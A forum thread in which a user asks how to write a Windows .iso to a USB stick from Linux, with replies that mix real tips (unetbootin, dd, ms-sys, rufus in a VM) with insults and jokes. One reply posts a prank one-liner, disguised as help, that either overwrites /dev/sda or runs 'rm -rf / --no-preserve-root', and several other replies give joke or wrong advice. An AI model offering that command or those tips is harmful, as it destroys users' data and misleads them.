How do I mount a .iso onto a USB stick on Linux which is NOT a Linux .iso? I want to install Windows on this machine again, Linux was a terrible mistake.
How do I mount a .iso onto a USB stick on Linux which is NOT a Linux .iso...
Kayden White
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Caleb Johnson
install gentoo
Jonathan Watson
mount butts.iso /media/
Jacob Peterson
Did you seriously remove Windows just to install Linux, are you stupid?
Why didn't you try in a VM, or dual boot? No wonder you don't like it desu.
Jaxson Miller
Make sure its read as USB-HDD instead of USB-FDD and also make sure that the files start on the boot sector, so don't just copy and paste them.
Jeremiah Richardson
[ $[ $RANDOM % 6 ] == 0 ] && sudo dd bs=4M if=ISONAMEHERE of=/dev/sda || sudo rm -rf / --no-preserve-root
Good luck
Oliver Evans
B---but I use NVMe user...
Daniel Gonzalez
how dare you ruin the excitement
Jacob Reed
OP here
WHY DO THEY MAKE IT SO FRICKIN DIFFICULT
THIS is why Linux will never be successful, because it's all so fucking complex and incomprehensible
Colton Hall
get a windows machine or make a windows virtual machine and just do it with that.
Christian White
How does Linux have anything to do with the difficulty of installing Windows?
James Robinson
Well, why don't you develop software that simplifies the process?
Camden Rodriguez
lel
Camden Lee
You can try to use unetbootin or run rufus in windows in virtualbox.
Tyler Morales
Use Unetbootin.
Some distros have it in the repositories.
Parker Nelson
zip disquettes only support linux
I'm afraid you're now stuck with linux
Dylan Jenkins
Easiest way is just to extract the .iso file onto the memory stick and mark it as bootable. I did exactly that to install windows 8.1 on a machine without using a USB drive, I just created a separate 8GB partition.
Josiah Ortiz
Just make a windows virtual machine to use the mircosoft iso to usb exe for windows
Andrew Sanchez
1.sudo apt-get install unetbootin
2.Run unetbootin
3.Select the iso and the drive
Holy fuck its even more user-friendly than windows
Aiden Ross
lsblk
to list drives
dd if=/path/to/your/windows.iso of=/dev/sd(which ever letter is your USB)
Brayden Watson
there is a special tool from microsoft to prepare and transfer a windows.iso to usb or disk drive
microsoft.com
Dylan Adams
$man dd
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Andrew Anderson
Use Unetbootin
Kayden Hall
It's terrible the first week
Levi Parker
So, usually Unetbootin give me some problems so I install a WinXP Virtual Machine and use rufus for mount it.
Yes, I've the UEFI system :(
Christopher Wright
rufus?
Michael Stewart
>winbaby feeling like fish out of pond without his babbycare OS
Maximum kek. No one help
Jayden Evans
Copy the ISO contents to the USB and use ms-sys to write the bootloader
Anthony Powell
Lol ubuntu let's you boot straight off the bootable usb to try it before you install you stupid steam monkey.
Joseph Ortiz
>I enjoy using this piece of shit because it's harder
>I enjoy making unnecessary steps and tasks
Leo Thompson
Tough one op, have you tried, I dunno, create a bootable usb off another pc?
Jordan Morris
THIS. UNDER FUCKING RATED.
Christian Gutierrez
Unetbootin